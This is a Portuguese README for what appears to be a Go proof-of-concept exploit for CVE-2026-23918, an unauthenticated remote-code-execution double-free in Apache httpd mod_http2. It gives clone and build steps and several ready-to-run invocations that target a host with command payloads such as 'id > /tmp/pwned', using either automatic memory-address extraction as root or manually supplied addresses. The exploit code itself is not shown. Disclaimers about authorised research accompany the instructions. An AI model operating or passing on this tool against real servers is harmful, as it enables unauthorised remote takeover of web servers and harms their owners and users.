
Exploit de prova de conceito baseado em Go para CVE-2026-23918 visando uma vulnerabilidade de dupla liberação no Apache httpd mod_http2, permitindo execução remota de código sem autenticação através de sequências de spray de memória e acionamento.
Este repositório contém uma implementação de prova de conceito escrita em Go para um cenário de corrupção de memória pré-autenticação que afeta o Apache httpd com mod_http2. O código neste repositório demonstra uma abordagem de spray-and-trigger contra um alvo vulnerável e é destinado a pesquisas de segurança autorizadas, testes e análise defensiva.
O projeto foca em um exploit de prova de conceito para CVE-2026-23918 e fornece uma implementação em um único arquivo em exploit_poc.go. O programa:
Este repositório não se destina ao uso não autorizado contra sistemas de terceiros.
Antes de compilar ou executar o PoC, garanta que os seguintes itens estejam disponíveis:
Compile o binário com o seguinte comando:
git clone https://github.com/gagaltotal/CVE-2026-23918-Double-free-Apache-httpd-mod_http2
cd CVE-2026-23918-Double-free-Apache-httpd-mod_http2
go mod init CVE-2026-23918-Double-free-Apache-httpd-mod_http2
go mod tidy
go run exploit_poc.go
go build -o exploit exploit_poc.go
Isso gera um executável chamado exploit na raiz do projeto.


O PoC suporta dois modos operacionais:
Este modo requer acesso root e extrai automaticamente os endereços de memória necessários do processo worker Apache alvo.
sudo ./exploit \
--pid 1234 \
--host 192.168.1.100 \
--port 443 \
--cmd "id > /tmp/pwned"
Este modo requer que os endereços da função system e do slot de requisição do scoreboard sejam fornecidos manualmente.
./exploit \
--host 192.168.1.100 \
--port 443 \
--system 0x7f1234567890 \
--scoreboard 0x7f1234000000 \
--cmd "id > /tmp/pwned"
As principais opções são:
--host - Hostname ou endereço IP do alvo--port - Porta do alvo (padrão: 443)--workers - Número de threads de spray (padrão: 32)--cmd - Comando a executar no alvo--pid - ID do processo worker Apache para extração automática de endereço de memória--system - Endereço do símbolo system no modo manual--scoreboard - Endereço do slot de requisição do scoreboard no modo manualsudo ./exploit --pid 1234 --host 10.0.0.20 --cmd "whoami"
./exploit \
--host 10.0.0.20 \
--system 0x7f1234567890 \
--scoreboard 0x7f1234000000 \
--cmd "uname -a"
Este repositório é fornecido para fins educacionais e avaliação de segurança defensiva. Qualquer uso fora de um ambiente controlado e autorizado é desencorajado e pode violar leis ou políticas aplicáveis.